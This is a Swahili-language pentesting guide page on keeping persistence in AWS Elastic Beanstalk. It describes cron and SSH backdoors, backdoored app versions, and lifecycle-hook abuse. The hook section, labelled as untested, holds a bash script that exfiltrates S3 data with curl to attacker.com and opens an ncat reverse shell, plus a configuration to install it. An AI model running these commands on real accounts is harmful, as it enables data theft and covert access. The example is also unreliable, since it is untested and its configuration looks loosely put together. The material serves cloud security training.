AWS - Elastic Beanstalk Persistence

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Elastic Beanstalk

Kwa maelezo zaidi angalia:

AWS - Elastic Beanstalk Enum

Ili kudumisha uendelevu ndani ya akaunti ya AWS, mekanismu ya uendelevu inaweza kuanzishwa ndani ya instance (kazi ya cron, funguo za ssh...) ili mshambuliaji aweze kuipata na kuiba credentials za IAM role kutoka huduma ya metadata.

Backdoor in Version

Mshambuliaji anaweza kuweka backdoor kwenye msimbo ndani ya repo ya S3 ili kila wakati ifanye kazi yake ya backdoor na msimbo unaotarajiwa.

New backdoored version

Badala ya kubadilisha msimbo kwenye toleo halisi, mshambuliaji anaweza kupeleka toleo jipya lililo na backdoor la programu.

Abusing Custom Resource Lifecycle Hooks

note

TODO: Test

Elastic Beanstalk inatoa hooks za mzunguko wa maisha ambazo zinakuwezesha kuendesha skripti za kawaida wakati wa upatikanaji na kumaliza instance. Mshambuliaji anaweza kuweka hook ya mzunguko wa maisha ili mara kwa mara kuendesha skripti inayotoa data au kudumisha ufikiaji wa akaunti ya AWS.

bash

bashCopy code# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh

# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh

# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml

# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"

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